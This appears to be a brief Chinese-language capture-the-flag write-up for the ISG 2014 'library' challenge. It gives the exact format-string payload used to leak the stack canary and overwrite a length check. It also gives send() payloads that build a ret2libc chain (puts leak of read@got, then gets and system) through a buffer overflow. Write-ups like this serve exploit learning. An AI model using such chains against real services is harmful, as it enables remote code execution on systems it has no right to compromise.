almost 9 years ago
32-bit ELF exploit。這個 library 服務中的 Register 功能,有一個 format string 漏洞。
但這個漏洞只能使用一次,除非寫掉用來檢查是否註冊過的變數。
且輸入長度限制為 15 byte,一次可以做的事情不多,另外還有 % 字元的個數限制 (≤ 3)。
我們的 exploit 裡,使用 format string \x09\xB0\x04\x08%35$x%10$hn
:
- 洩漏 StackGuard (%35$x)
- 寫掉
.data:804B008
,這個變數用來決定 Query 功能裡書名的長度上限,把這個值改大可以造成溢位
接下來使用 Query 功能造成溢位,首先用 puts() 洩漏 .got:0804AFC4
,即 read@.got
這題還另外給了 libc.so.6,因此只要知道 read 的位址,就可以推算出其它函式的位址。
32-bit 下只要把參數在棧上疊好就行了,之後回到 Query (0x08048971) 再溢出一次就可以在控制住流程
send('A'*0x100 + StackGuard + PD(0) + PD(0) + PD(0) +
D(0x08048520) + D(0x08048971) + D(0x0804AFC4) + '\n')
有了 read 的位址後,接下來就改成呼叫 gets + system
找個可寫位址 (0x0804B008) 用 gets 讀入要執行的命令,然後用 system 執行。
send('A'*0x100 + StackGuard + PD(0) + PD(0) + PD(0) +
D(gets) + D(system) + D(0x0804B008) + D(0x0804B008) + '\n')
Exploit source code isg2014 - library.py